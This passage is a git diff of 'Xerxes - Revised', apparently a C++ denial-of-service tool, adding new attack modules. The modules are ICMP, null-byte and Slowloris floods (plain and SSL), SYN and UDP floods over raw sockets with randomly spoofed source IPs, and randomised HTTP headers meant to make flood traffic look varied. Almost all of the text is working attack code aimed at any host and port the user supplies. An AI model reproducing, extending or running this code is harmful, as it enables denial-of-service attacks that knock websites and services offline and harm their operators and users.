+ + icmp->type = ICMP_ECHO; + icmp->code = static_cast(Randomizer::randomInt(1, 1000)); + icmp->checksum = htons(csum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct icmphdr)))); + if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){ + logger->Log("sendto() error", Logger::Error); + exit(EXIT_FAILURE); + } + close(s); + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(static_cast<__useconds_t>(conf->delay)); + } +} + +ICMP_Flood::ICMP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, logger) { + +} diff --git a/ICMP_Flood.hpp b/ICMP_Flood.hpp new file mode 100644 index 0000000..8ac287e --- /dev/null +++ b/ICMP_Flood.hpp @@ -0,0 +1,16 @@ +#ifndef XERXES_ICMP_FLOOD_H +#define XERXES_ICMP_FLOOD_H + +#include "Spoofed_Flood.hpp" + +class ICMP_Flood : public Spoofed_Flood { +public: + ICMP_Flood(const config *conf, Logger *logger); + +private: + void attack(const int *id) override; + +}; + + +#endif //XERXES_ICMP_FLOOD_H diff --git a/Logger.cpp b/Logger.cpp index c7d58fe..0551e7d 100644 --- a/Logger.cpp +++ b/Logger.cpp @@ -1,5 +1,5 @@ #include -#include "Logger.h" +#include "Logger.hpp" #define RED "\x1B[31m" // Color Terminal Red #define YEL "\x1B[33m" // Color Terminal Yellow diff --git a/Logger.h b/Logger.hpp similarity index 100% rename from Logger.h rename to Logger.hpp diff --git a/Null_Flood.cpp b/Null_Flood.cpp new file mode 100644 index 0000000..ad429d6 --- /dev/null +++ b/Null_Flood.cpp @@ -0,0 +1,124 @@ +#include +#include +#include +#include +#include +#include + +#include "Null_Flood.hpp" + +int Null_Flood::make_socket(const char *host, const char *port) { + struct addrinfo hints{}, *servinfo, *p; + int sock = 0, r; + std::string message = std::string("Connecting-> ") + host + ":" + port; + logger->Log(&message, Logger::Info); + bzero(&hints, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = conf->protocol == config::UDP ? SOCK_DGRAM: SOCK_STREAM; + if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { + message = std::string("Getaddrinfo-> ") + gai_strerror(r); + logger->Log(&message, Logger::Error); + exit(EXIT_FAILURE); + } + for(p = servinfo; p != nullptr; p = p->ai_next) { + if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0) { + continue; + } + if(connect(sock, p->ai_addr, p->ai_addrlen) < 0) { + close(sock); + continue; + } + break; + } + if(p == nullptr) { + if(servinfo){ + freeaddrinfo(servinfo); + } + logger->Log("No connection could be made", Logger::Error); + exit(EXIT_FAILURE); + } + if(servinfo){ + freeaddrinfo(servinfo); + } + message = std::string("Connected-> ") + host + ":" + port; + logger->Log(&message, Logger::Info); + return sock; +} + +void Null_Flood::attack(const int *id) { + int r; + std::vector sockets; + for (int x = 0; x < conf->CONNECTIONS; x++) { + sockets.push_back(0); + } + signal(SIGPIPE, &Null_Flood::broke); + while(true) { + static std::string message; + for (int x = 0; x < conf->CONNECTIONS; x++) { + if(!sockets[x]){ + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + } + if((r = write_socket(sockets[x],"\0", 1)) < 0){ + cleanup(&sockets[x]); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + }else{ + if(conf->GetResponse){ + read_socket(sockets[x]); + } + message = std::string("Socket[") + std::to_string(x) + "->" + + std::to_string(sockets[x]) + "] -> " + std::to_string(r); + logger->Log(&message, Logger::Info); + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(static_cast<__useconds_t>(conf->delay)); + } + } +} + +void Null_Flood::attack_ssl(const int *id) { + int r; + std::vector sockets; + std::vector CTXs; + std::vector SSLs; + for (int x = 0; x < conf->CONNECTIONS; x++) { + sockets.push_back(0); + SSLs.push_back(nullptr); + CTXs.push_back(nullptr); + } + signal(SIGPIPE, &Null_Flood::broke); + while(true) { + static std::string message; + for (int x = 0; x < conf->CONNECTIONS; x++) { + if(!sockets[x]){ + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + CTXs[x] = InitCTX(); + SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + } + if((r = write_socket(SSLs[x], "\0", 1)) < 0){ + cleanup(SSLs[x], &sockets[x], CTXs[x]); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + CTXs[x] = InitCTX(); + SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + }else{ + if(conf->GetResponse){ + read_socket(SSLs[x]); + } + message = std::string("Socket[") + std::to_string(x) + "->" + + std::to_string(sockets[x]) + "] -> " + std::to_string(r); + logger->Log(&message, Logger::Info); + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(static_cast<__useconds_t>(conf->delay)); + } + } +} + +Null_Flood::Null_Flood(const config *conf, Logger *logger) : Http_Flood(conf, logger) { + +} diff --git a/Null_Flood.hpp b/Null_Flood.hpp new file mode 100644 index 0000000..642491e --- /dev/null +++ b/Null_Flood.hpp @@ -0,0 +1,21 @@ +#ifndef XERXES_NULL_FLOOD_H +#define XERXES_NULL_FLOOD_H + + +#include "Configuration.hpp" +#include "Logger.hpp" +#include "Http_Flood.hpp" + +class Null_Flood : public Http_Flood { +public: + Null_Flood(const config *conf, Logger *logger); + +private: + void attack(const int *id) override; + void attack_ssl(const int *id) override; + int make_socket(const char *host, const char *port) override; + +}; + + +#endif //XERXES_NULL_FLOOD_H diff --git a/Parser.cpp b/Parser.cpp index 62274e9..85b670f 100644 --- a/Parser.cpp +++ b/Parser.cpp @@ -1,7 +1,7 @@ #include #include #include -#include "Parser.h" +#include "Parser.hpp" void Parser::help() { std::string message{"Usage: ./Xerxes \n" @@ -29,7 +29,7 @@ void Parser::help() { } void Parser::show_banner() { - const std::string version{"v0.0.5"}; + const std::string version{"v0.0.7"}; std::cout << "Xerxes - Revised " << version << std::endl; } @@ -86,6 +86,7 @@ void Parser::parse_commandline(const int *argc, const char *argv[]) { default: conf->vector = config::Slowloris; conf->protocol = config::TCP; + conf->delay = 10000000; } break; case 'q': diff --git a/Parser.h b/Parser.hpp similarity index 82% rename from Parser.h rename to Parser.hpp index e24de86..a05c6c9 100644 --- a/Parser.h +++ b/Parser.hpp @@ -1,9 +1,9 @@ #ifndef XERXES_PARSER_H #define XERXES_PARSER_H -#include "Configuration.h" -#include "Doser.h" -#include "Validator.h" +#include "Configuration.hpp" +#include "Doser.hpp" +#include "Validator.hpp" class Parser { public: diff --git a/Randomizer.hpp b/Randomizer.hpp new file mode 100644 index 0000000..c6df5de --- /dev/null +++ b/Randomizer.hpp @@ -0,0 +1,129 @@ +#ifndef XERXES_RANDOMIZER_H +#define XERXES_RANDOMIZER_H + +#include +#include +#include +#include + +#include "Configuration.hpp" + +namespace Randomizer{ + + static int randomInt(int min, int max){ + unsigned seed = static_cast(std::chrono::steady_clock::now().time_since_epoch().count()); + std::default_random_engine engine(seed); + std::uniform_int_distribution distribution(min, max); + return distribution(engine); + } + + static const char *randomIP(){ + std::string src{std::to_string(randomInt(1, 256))}; + src += "." + + std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)) + + "." + + std::to_string(randomInt(1, 256)); + return src.c_str(); + } + + static int randomPort(){ + return randomInt(0, 65535); + } + + static const char *randomstr(){ + int string_length = randomInt(0, 20) + 1; + std::string string{}; + for(int i = 0; i < string_length; ++i){ + string += (static_cast('0' + randomInt(0, 72))); + } + return string.c_str(); + } + + static const char *randomUserAgent(const config *conf){ + if(conf->useragents.size() > 1){ + return conf->useragents[randomInt(0, static_cast(conf->useragents.size()))].c_str(); + } + return conf->useragents[0].c_str(); + } + + static const char *randomPacket(const config *conf, bool keep_alive=false){ + std::string packet{}; + std::vector encoding{"\'\'", "*", "identity", "gzip", "deflate"}; + std::vector caching{"no-cache", "max-age=0"}; + std::vector charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"}; + std::vector contenttype{"multipart/form-data", "application/x-url-encoded"}; + std::vector methods{"GET", "POST", "HEAD"}; + std::vector referer{"https://www.google.com/", "https://www.yahoo.com/", "https://www.bing.com/", + "https://twitter.com/", "https://www.facebook.com/", "https://www.msn.com/", + "https://www.youtube.com/", "https://yandex.com/", "https://www.amazon.com/"}; + shuffle(std::begin(encoding), std::end(encoding), std::mt19937(std::random_device()())); + shuffle(std::begin(caching), std::end(caching), std::mt19937(std::random_device()())); + shuffle(std::begin(charset), std::end(charset), std::mt19937(std::random_device()())); + shuffle(std::begin(contenttype), std::end(contenttype), std::mt19937(std::random_device()())); + shuffle(std::begin(methods), std::end(methods), std::mt19937(std::random_device()())); + shuffle(std::begin(referer), std::end(referer), std::mt19937(std::random_device()())); + switch(conf->vector){ + case config::UDPFlood: + case config::TCPFlood: + return randomstr(); + case config::HTTP:{ + packet += methods[0] + " /"; + if(conf->RandomizeHeader){ + packet += randomstr(); + } + packet += " HTTP/1.0\r\nUser-Agent: "; + if(conf->RandomizeUserAgent){ + packet += randomUserAgent(conf); + }else{ + packet += conf->useragents[0]; + } + packet += " \r\nCache-Control: " + caching[0] + + " \r\nAccept-Encoding: " + encoding[0] + + " \r\nAccept-Charset: " + charset[0] + ", " + charset[1] + + " \r\nReferer: " + referer[0] + + " \r\nAccept: */*\r\nConnection: Keep-Alive" + + " \r\nContent-Type: " + contenttype[0] + + " \r\nCookie: " + randomstr() + "=" + randomstr() + + " \r\nKeep-Alive: " + std::to_string(randomInt(1, 5000)) + + " \r\nDNT: " + std::to_string(randomInt(0, 1)) + + "\r\n\r\n"; + return packet.c_str(); + } + case config::Slowloris:{ + if(keep_alive){ + packet += "X-a: " + + std::to_string(randomInt(1, 5000)) + + " \r\n"; + }else{ + packet += methods[0] + " /"; + if(conf->RandomizeHeader){ + packet += randomstr(); + } + packet += " HTTP/1.0\r\nUser-Agent: "; + if(conf->RandomizeUserAgent){ + packet += randomUserAgent(conf); + }else{ + packet += conf->useragents[0]; + } + packet += " \r\nCache-Control: " + caching[0] + + " \r\nAccept-Encoding: " + encoding[0] + + " \r\nAccept-Charset: " + charset[0] + ", " + charset[1] + + " \r\nReferer: " + referer[0] + + " \r\nContent-Type: " + contenttype[0] + + " \r\nCookie: " + randomstr() + "=" + randomstr() + + " \r\nAccept: */*" + + " \r\nDNT: " + std::to_string(randomInt(0, 1)) + + " \r\nX-a: " + std::to_string(randomInt(1, 5000)) + + " \r\n"; + } + return packet.c_str(); + } + default: + return ""; + } + } +} + +#endif //XERXES_RANDOMIZER_H diff --git a/Slowloris.cpp b/Slowloris.cpp new file mode 100644 index 0000000..5b2e45e --- /dev/null +++ b/Slowloris.cpp @@ -0,0 +1,98 @@ +#include +#include +#include +#include +#include +#include +#include "Slowloris.hpp" + +void Slowloris::attack(const int *id) { + int r; + std::vector sockets; + std::vector keep_alive; + for (int x = 0; x < conf->CONNECTIONS; x++) { + sockets.push_back(0); + keep_alive.push_back(false); + } + signal(SIGPIPE, &Slowloris::broke); + while(true) { + static std::string message; + for (int x = 0; x < conf->CONNECTIONS; x++) { + if(!sockets[x]){ + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + keep_alive[x] = false; + } + const char *packet = Randomizer::randomPacket(conf, keep_alive[x]); + if((r = write_socket(sockets[x], packet, static_cast(strlen(packet)))) < 0){ + cleanup(&sockets[x]); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + keep_alive[x] = false; + }else{ + keep_alive[x] = true; + if(conf->GetResponse){ + read_socket(sockets[x]); + } + message = std::string("Socket[") + std::to_string(x) + "->" + + std::to_string(sockets[x]) + "] -> " + std::to_string(r); + logger->Log(&message, Logger::Info); + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(static_cast<__useconds_t>(conf->delay)); + } + } +} + +void Slowloris::attack_ssl(const int *id) { + int r; + std::vector sockets; + std::vector CTXs; + std::vector SSLs; + std::vector keep_alive; + for (int x = 0; x < conf->CONNECTIONS; x++) { + sockets.push_back(0); + SSLs.push_back(nullptr); + CTXs.push_back(nullptr); + keep_alive.push_back(false); + } + signal(SIGPIPE, &Slowloris::broke); + while(true) { + static std::string message; + for (int x = 0; x < conf->CONNECTIONS; x++) { + if(!sockets[x]){ + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + CTXs[x] = InitCTX(); + SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + keep_alive[x] = false; + } + const char *packet = Randomizer::randomPacket(conf, keep_alive[x]); + if((r = write_socket(SSLs[x], packet, static_cast(strlen(packet)))) < 0){ + cleanup(SSLs[x], &sockets[x], CTXs[x]); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + CTXs[x] = InitCTX(); + SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + keep_alive[x] = false; + }else{ + keep_alive[x] = true; + if(conf->GetResponse){ + read_socket(SSLs[x]); + } + message = std::string("Socket[") + std::to_string(x) + "->" + + std::to_string(sockets[x]) + "] -> " + std::to_string(r); + logger->Log(&message, Logger::Info); + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(static_cast<__useconds_t>(conf->delay)); + } + } +} + +Slowloris::Slowloris(const config *conf, Logger *logger) : Http_Flood(conf, logger) { + +} + diff --git a/Slowloris.hpp b/Slowloris.hpp new file mode 100644 index 0000000..652ae64 --- /dev/null +++ b/Slowloris.hpp @@ -0,0 +1,20 @@ +#ifndef XERXES_SLOWLORIS_H +#define XERXES_SLOWLORIS_H + + +#include "Configuration.hpp" +#include "Logger.hpp" +#include "Randomizer.hpp" +#include "Http_Flood.hpp" + +class Slowloris : public Http_Flood { +public: + Slowloris(const config *conf, Logger *logger); + +private: + void attack(const int *id) override; + void attack_ssl(const int *id) override; +}; + + +#endif //XERXES_SLOWLORIS_H diff --git a/Spoofed_Flood.cpp b/Spoofed_Flood.cpp new file mode 100644 index 0000000..a1b768b --- /dev/null +++ b/Spoofed_Flood.cpp @@ -0,0 +1,16 @@ + +#include "Spoofed_Flood.hpp" + +Spoofed_Flood::Spoofed_Flood(const config *conf, Logger *logger) : Attack_Vector(conf, logger){ + +} + +unsigned short Spoofed_Flood::csum(unsigned short *buf, int len) { + unsigned long sum; + for(sum=0; len>0; len--){ + sum += *buf++; + } + sum = (sum >> 16) + (sum &0xffff); + sum += (sum >> 16); + return (unsigned short)(~sum); +} diff --git a/Spoofed_Flood.hpp b/Spoofed_Flood.hpp new file mode 100644 index 0000000..86085a2 --- /dev/null +++ b/Spoofed_Flood.hpp @@ -0,0 +1,24 @@ +#ifndef XERXES_SPOOFED_FLOOD_H +#define XERXES_SPOOFED_FLOOD_H + + +#include "Configuration.hpp" +#include "Logger.hpp" +#include "Attack_Vector.hpp" + +class Spoofed_Flood : public Attack_Vector { + + friend class ICMP_Flood; + friend class Spoofed_TCP_Flood; + friend class Spoofed_UDP_Flood; + +public: + Spoofed_Flood() = default; + Spoofed_Flood(const config *conf, Logger *logger); + +private: + unsigned short csum(unsigned short *buf, int len); +}; + + +#endif //XERXES_SPOOFED_FLOOD_H diff --git a/Spoofed_TCP_Flood.cpp b/Spoofed_TCP_Flood.cpp new file mode 100644 index 0000000..bccfd3c --- /dev/null +++ b/Spoofed_TCP_Flood.cpp @@ -0,0 +1,92 @@ +#include +#include +#include +#include +#include +#include + +#include "Randomizer.hpp" +#include "Spoofed_TCP_Flood.hpp" + +void Spoofed_TCP_Flood::attack(const int *id) { + int s, on = 1, x; + std::string message{}; + char buf[8192]; + auto *ip = (struct ip *)buf; + auto *tcp = (struct tcphdr *)(ip + 1); + struct hostent *hp; + struct sockaddr_in dst{}; + auto s_port = Randomizer::randomInt(0, 65535); + while (true){ + for(x = 0; x < conf->CONNECTIONS; x++){ + bzero(buf, sizeof(buf)); + if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ + logger->Log("socket() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if((hp = gethostbyname(conf->website.c_str())) == nullptr){ + if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ + logger->Log("Can't resolve the host", Logger::Error); + exit(EXIT_FAILURE); + } + }else{ + bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); + } + if((ip->ip_src.s_addr = inet_addr(Randomizer::randomIP())) < 0){ + logger->Log("Unable to set random src ip", Logger::Error); + exit(EXIT_FAILURE); + } + + // IP Struct + ip->ip_hl = 5; + ip->ip_v = 4; + ip->ip_tos = 16; + ip->ip_len = htons(sizeof(buf)); + ip->ip_id = static_cast(Randomizer::randomInt(1, 1000)); + ip->ip_off = htons(0x0); + ip->ip_ttl = 64; + ip->ip_p = 6; + ip->ip_sum = 0; + + dst.sin_addr = ip->ip_dst; + dst.sin_family = AF_UNSPEC; + + // TCP Struct + tcp->source = htons(static_cast(s_port)); + tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); + tcp->seq = htonl(1); + tcp->ack = 0; + tcp->doff = 5; + tcp->syn = 1; + tcp->ack_seq = 0; + tcp->window = htons(32767); + tcp->check = 0; + tcp->urg_ptr = 0; + + ip->ip_sum = csum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct tcphdr))); + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if(sendto(s, buf, ip->ip_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)) < 0){ + logger->Log("sendto() error", Logger::Error); + exit(EXIT_FAILURE); + } + close(s); + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(static_cast<__useconds_t>(conf->delay)); + } +} + +Spoofed_TCP_Flood::Spoofed_TCP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, logger) { + +} diff --git a/Spoofed_TCP_Flood.hpp b/Spoofed_TCP_Flood.hpp new file mode 100644 index 0000000..b253af5 --- /dev/null +++ b/Spoofed_TCP_Flood.hpp @@ -0,0 +1,16 @@ +#ifndef XERXES_SPOOFED_TCP_FLOOD_H +#define XERXES_SPOOFED_TCP_FLOOD_H + + +#include "Spoofed_Flood.hpp" + +class Spoofed_TCP_Flood : public Spoofed_Flood { +public: + Spoofed_TCP_Flood(const config *conf, Logger *logger); + +private: + void attack(const int *id) override; +}; + + +#endif //XERXES_SPOOFED_TCP_FLOOD_H diff --git a/Spoofed_UDP_Flood.cpp b/Spoofed_UDP_Flood.cpp new file mode 100644 index 0000000..4748492 --- /dev/null +++ b/Spoofed_UDP_Flood.cpp @@ -0,0 +1,85 @@ +#include +#include +#include +#include +#include +#include + +#include "Randomizer.hpp" +#include "Spoofed_UDP_Flood.hpp" + +void Spoofed_UDP_Flood::attack(const int *id) { + int s, on = 1, x; + std::string message{}; + char buf[8192]; + auto *ip = (struct ip *)buf; + auto *udp = (struct udphdr *)(ip + 1); + struct hostent *hp; + struct sockaddr_in dst{}; + auto s_port = Randomizer::randomInt(0, 65535); + while (true){ + for(x = 0; x < conf->CONNECTIONS; x++){ + bzero(buf, sizeof(buf)); + if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ + logger->Log("socket() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if((hp = gethostbyname(conf->website.c_str())) == nullptr){ + if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ + logger->Log("Can't resolve the host", Logger::Error); + exit(EXIT_FAILURE); + } + }else{ + bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); + } + if((ip->ip_src.s_addr = inet_addr(Randomizer::randomIP())) < 0){ + logger->Log("Unable to set random src ip", Logger::Error); + exit(EXIT_FAILURE); + } + + // IP Struct + ip->ip_hl = 5; + ip->ip_v = 4; + ip->ip_tos = 16; + ip->ip_len = htons(sizeof(buf)); + ip->ip_id = static_cast(Randomizer::randomInt(1, 1000)); + ip->ip_ttl = 64; + ip->ip_p = 17; + ip->ip_off = htons(0x0); + ip->ip_sum = 0; + + dst.sin_addr = ip->ip_dst; + dst.sin_family = AF_UNSPEC; + + // UDP Struct + udp->source = htons(static_cast(s_port)); + udp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); + udp->len = htons(sizeof(struct udphdr)); + udp->check = htons(csum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct udphdr)))); + + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if(sendto(s, buf, ip->ip_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)) < 0){ + logger->Log("sendto() error", Logger::Error); + exit(EXIT_FAILURE); + } + close(s); + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(static_cast<__useconds_t>(conf->delay)); + } +} + +Spoofed_UDP_Flood::Spoofed_UDP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, logger) { + +} diff --git a/Spoofed_UDP_Flood.hpp b/Spoofed_UDP_Flood.hpp new file mode 100644 index 0000000..0cc86fe --- /dev/null +++ b/Spoofed_UDP_Flood.hpp @@ -0,0 +1,16 @@ +#ifndef XERXES_SPOOFED_UDP_FLOOD_H +#define XERXES_SPOOFED_UDP_FLOOD_H + + +#include "Spoofed_Flood.hpp" + +class Spoofed_UDP_Flood : public Spoofed_Flood { +public: + Spoofed_UDP_Flood(const config *conf, Logger *logger); + +private: + void attack(const int *id) override; +}; + + +#endif //XERXES_SPOOFED_UDP_FLOOD_H diff --git a/Validator.cpp b/Validator.cpp index f85ccee..4218282 100644 --- a/Validator.cpp +++ b/Validator.cpp @@ -1,4 +1,4 @@ -#include "Validator.h" +#include "Validator.hpp" #include #include #include diff --git a/Validator.h b/Validator.hpp similarity index 92% rename from Validator.h rename to Validator.hpp index 80aab29..e05fc7e 100644 --- a/Validator.h +++ b/Validator.hpp @@ -1,7 +1,7 @@ #ifndef XERXES_VALIDATOR_H #define XERXES_VALIDATOR_H -#include "Configuration.h" +#include "Configuration.hpp" class Validator { public: diff --git a/installer.sh b/installer.sh old mode 100644 new mode 100755 index a129f71..594692a --- a/installer.sh +++ b/installer.sh @@ -1,5 +1,8 @@ #!/usr/bin/env bash +# Download the dependencies +apt install build-essential gcc g++ cmake clang llvm libssl-dev + # Build the program from source mkdir build cd build @@ -8,7 +11,7 @@ make rm -rf CMakeCache.txt CMakeFiles cmake_install.cmake Makefile # Copy the executable -cd build/ +mkdir /opt/Xerxes cp Xerxes /opt/Xerxes cp useragents /opt/Xerxes ln -sf /opt/Xerxes/Xerxes /usr/bin diff --git a/main.cpp b/main.cpp index 2e27874..1009b9c 100644 --- a/main.cpp +++ b/main.cpp @@ -1,7 +1,7 @@ #include #include #include -#include "Parser.h" +#include "Parser.hpp" const pid_t m_pid = getpid();